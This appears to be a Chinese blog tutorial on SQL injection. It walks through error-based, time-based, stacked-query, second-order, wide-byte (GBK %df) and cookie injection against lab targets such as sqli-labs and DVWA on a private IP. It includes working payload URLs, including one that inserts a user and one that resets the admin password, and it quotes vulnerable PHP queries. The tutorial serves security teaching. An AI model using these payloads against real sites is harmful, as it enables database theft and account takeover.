https防止注入_SQL注入续篇(Web漏洞及防御)

f5e0591dda65800459e6aac5208f758c.png

报错注入

CMS系统:

已知:数字型注入

1. group by 虚拟表主键重复冲突

原理:

https://blog.csdn.net/he_and/article/details/80455884?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param
232457dd73aa28bbd23883aa3f00ad61.png
http://10.1.1.8/cms/show.php?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
2fad06cb9f9e663f77548dfa2958a57c.png

2. extractvalue()函数

9894825583d4f04b7eceba1a7968ef42.png
288d0f79cb66086bc3b7c4bedfb245b8.png

3. updatexml()函数

0e22041441b437224e6d546d8fdc13a1.png
67c5497db50332e6e2d10b8d75c39d22.png

数据库名:cms

f9199b226ed9260c3def27bd2374a96a.png
5581923a5ceed70b992dba149c5bd34a.png

cms的一张表的表名:cms_article

改变limit 0,1中的0继续查询其他表!

延时注入(sleep)

没有任何报错信息输出,无法判断SQL注入测试语句是否正确,通过构造sleep注入的SQL测试语句,根据页面的返回时间判断数据库中存储了哪些信息!

sleep():让执行SQL语句时间变长!

sleep()常与if(expression1,expression2,expression3)结合使用!

if(expression1,expression2,expression3):

如果expresson1为TRUE,if()返回expression2,否则返回expression3!

获取数据库名长度

http://10.1.1.8/DVWA-master/vulnerabilities/sqli_blind/?id=1' and if(length(database()) >8 ,sleep(5),1) --+&Submit=Submit#

分析:

如果数据库的长度大于8,休眠5秒后,执行id=1的查询,id=1的查询时间大约只有几十毫秒,否则(小于等于8),直接查询id=1!

结论:通过sleep()产生的时间差来判断SQL语句的执行结果!

......

堆叠查询注入

结束了一个sql语句后(;),继续构造下一条语句,但会不会执行取决于相应的数据库系统是否支持!

oralce不支持,mysql支持 ......

25699005c924bb2ec5645901d18a7447.png
http://10.1.1.8/sqli-labs-master/Less-38/?id=1' ; insert into users(id,username,password)values('66','wenxin','123.com') --+
ff8876fb142714228b8ce0936a32a977.png

insert插入成功!

查看堆叠查询注入源码:

c16602e550a8debd31f10b757bfb3649.png

箭头指示的代码中允许批量执行SQL,这就有可能存在堆叠查询注入的可能

mysqli_multi_query()函数支持多条sql语句同时执行!

================================================

但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁!

================================================

获取数据库的长度

http://10.1.1.8/sqli-labs-master/Less-38/?id=1';select if(length(database())>5,sleep(5),1) --+
869b02818ee362a05991ca2e3e182385.png
b09fad848ad2f6dd6d3dd65516bc3bf8.png

堆叠查询与联合查询(union select)的区别:

联合查询只能查询(select),堆叠注入可以执行任意语句!

(insert/update/create/delete...等)

......

二次注入

c3a74c9709a68ab19dd1fef7ee057a8b.png
71d1b71843be98a78f7dbb7ca17a8db7.png

用户正常登录!

cf52e01f54462cdb087ee5d5039c0a10.png

登录页面还有"忘记密码"和注册新用户的功能!

注册账户:

6ed5e37f3908736a9631a114cd589d01.png
a883e0557261d4c6d72b84770ec11145.png
05a9f25326048c3169900b530ccd9804.png
ef8f1e79183f84955c9cb41283712973.png
c476f3e0a50666cdb57f758a1030e328.png

登录数据库系统,查看用户信息!

9a32d5231356ed94ebb96dc1a0450ef7.png
c40079236df0ff9d6b4eea65ba65da3f.png
ab3142b5d5d5dcefc308d981baa5a2cd.png

此页面下修改admin'#的密码:

907e9b73a8efe4c062191fa105515764.png
c598021bc1a033fd1218f80865d85458.png
61e3344b0d17178f56491fa3c3724437.png

数据库查看修改情况:

b9901c75d7c62fb7f7b48e75d5969b65.png

结论:admin'#并没有被修改,但修改了原数据库里的admin的密码(原来admin的密码是admin)

用admin/123456登录:

返回HOME,注销当前账户(Logout)!

b6b6106aa92758d8404cbb7c9d14159c.png
0a02f61415e00e5c514f2c26721c75e9.png
88e77d3b646309777c7bbd189ed8dffb.png
6de9c994cef98d8d9d54b60333998e48.png

admin用户成功登录!

查看注册页面源码:

3c2e5c58475fc1ee988ce67d125d04c1.png
63ab13c5b1be14ede68d17ab6c8cf98a.png

跳转到:login_create.php

f92d64dbb8d37b5fd7f5e67a5079ac18.png
a1b3c25a10d16cb618d15199c12ebe07.png
$sql = "insert into users ( username, password) values("$username", "$pass")";

注册后,插入数据库的SQL语句!

代码审计:

结论:仅对特殊字符"进行了转义!

查看修改密码页面源码:

952d4accb5372d7f90b62f5c48078ae6.png
e13ae349a4745d932d3f7fc75da39ff2.png

代码审计:

$username= $_SESSION["username"]; // admin'#$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";// username='$username' ==> username='admin'#' ==>username='admin'// 所以,实际上修改的是admin的密码!

宽字节注入

================================================

当某字符的大小为一个字节时,称其字符为窄字节.

当某字符的大小为两个字节时,称其字符为宽字节.

所有英文默认占一个字节,汉字占两个字节!

常见的宽字节编码:

GB2312

GBK

GB18030

BIG5

Shift_JIS

......

================================================

开发人员为了防止SQL注入,对用户输入的单引号(')会进行转义处理('),转义后的单引号,不能起到前后单引号闭合的作用(''),它只能作为两个单引号闭合后的内容('''==>' ' '),这样会导致id=1'中的'不能跟前一个单引号闭合,而只能作为前一个单引号和最后一个单引号闭合内的内容,所以在一般情况下,此时不会存在SQL注入漏洞!所以,要实施SQL漏洞注入,需要绕过转义()!

思路:

1. 失去转义作用(开发人员才能做)

2. 让 消失

让消失:使用宽字节注入(数据库的编码方式必须为宽字节编码,如:GBK!)

fdd24647a49a24f7562a0e1b753ced0a.png

方法:

在地址后先加一个%df,再加单引号,因为的编码为%5c,而在GBK编码中,%df%5c是繁体字"連",这样就消失了,那么'不是作为内容了,最后开发人员构建的SQL语句中,由于多出一个不是内容的'就会报错!这时我们可以构建SQL语句,把多余的‘注释掉,让其消失,那么最后的SQL语句就能正确执行了!

思路:(范围:%81-%FE)

' ' ' ===> 初始状态,转义后的('),作为首尾(')的内容!' 連' ' ===> 消失,但SQL语法错误,不能正确执行SQL语句!注释掉最后一个(') ===> ' 連' ===> SQL语法正确,便能正确执行SQL语句了!
54de733b39b0bb81152337fb63a2c7bb.png
b0182c361a543ffd843696727b4c9b82.png
a8a78fd2feb9e3505d9434fbb2e70433.png
57b1706e7644f2fa8c830c1846027ab0.png

加了(')后,由于开发人员进行了转义,所以程序运行正常!

25bd608c2539092452053ea56563f707.png
3cb244e554af9af14d9b7298fc8bf2c4.png
f6d0e765da4319c7dbce82af8d716dc4.png
http://10.1.1.8/sqli-labs-master/Less-32/ ?id=1%df'

加了%df后,开发人员的转义失效,('''),造成SQL语法错误,所以报错!也说明,加了%df起作用了!

SQL语法错误,注释掉最后一个(')使其正确:

1eb2a44d63581ca83e03a0f6c7bb8fe7.png
http://10.1.1.8/sqli-labs-master/Less-32/?id=1%df'--+
3dc4cb870533e98352bc9909fafec7c9.png

SQL语句正确执行,不报错!

进一步探究使用何种注入方式:

4dc7e5f0a6c8507844636e954dec95ae.png
22128a7732d4405244771f62bd8ae59f.png

正确执行,页面回显登录名和密码信息!

f5b4939ba5cea04d639baffc4f9a014d.png
409a0ebeddd6ca03371311b5e3c55d3e.png

正确执行,查询不到匹配的条件,页面不回显登录名和密码信息!

结论:根据回显不同信息,可以使用联合查询注入!

1. 字符型注入

2. 获取显示位

http://10.1.1.8/sqli-labs-master/Less-32/?id=1%df' order by 1 --+
adcdb36d0f6f73e0adb46bd141a56fe5.png
a6b7d71799fe5607d343632465579709.png

......

cookie注入

cca17d10b4cf472545826dec798e482e.png
4065879c6345bed97cdd298910f7b39f.png
ef944faea5f938a7272d761a4689ed83.png
f99311e533ee541eb18f937f8d860856.png
0d8ce0de6129fc453fd9538909e08669.png

发现url中没有GET参数,但页面返回正常,还显示Cookie ID set!

BP抓包分析(提交页面):

cd21c9325790525b1e813b6933217f97.png
3f2e3d1d1b1bf74b42fa38562c190913.png
f02066621be3a76d1eb61f2a8418e181.png

分析:Cookie中存在id=1的参数,但请求的方式是POST!

416473d1acfc872256c47fccf80c6d87.png
8f22ca6d2c38b53fb9392ffa2ffc471c.png

修改id=1':

64b3b5abb48ac7dfc99df1f8120e37c7.png
400ac3272b96c3cdb236eb82cde07796.png
790ba6af185e5753e96807dcda78164f.png

继续尝试:

id 1' and 1=1 --+

id 1' and 1=2 --+

sleep()

....

dd253f2e11d80a69a7b8de274edc78ac.png
fa6c97591829b7d2e89771a8dc6562df.png
9c139c27ee0507dfcdabd943c340d140.png

发现页面都没变化!(提交页面不存在SQL漏洞!)

BP抓包显示页面分析:

0beb8fc8142049d61c6e630a4f2879f5.png
66c196d4a7ecd3cbf1a425b6d1104ce8.png
51465b41e0d803a1bd70a45f3deeecc3.png

结论:存在字符注入,并且是通过cookie的id参数注入!

由于页面回显,存在或不存在信息,使用布尔类型注入

aa7279290aa71e94b07acf8962b2308e.png
2d7614f984b90dd5a71572c7a6f19623.png
bbdf0a63550359631dec5f33ced74f4c.png

结论:数据库长度为4!

......

0c493b099ac4c8a968d3609d35a2fc27.png

base64注入

XFF注入

下一篇分析 ......

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值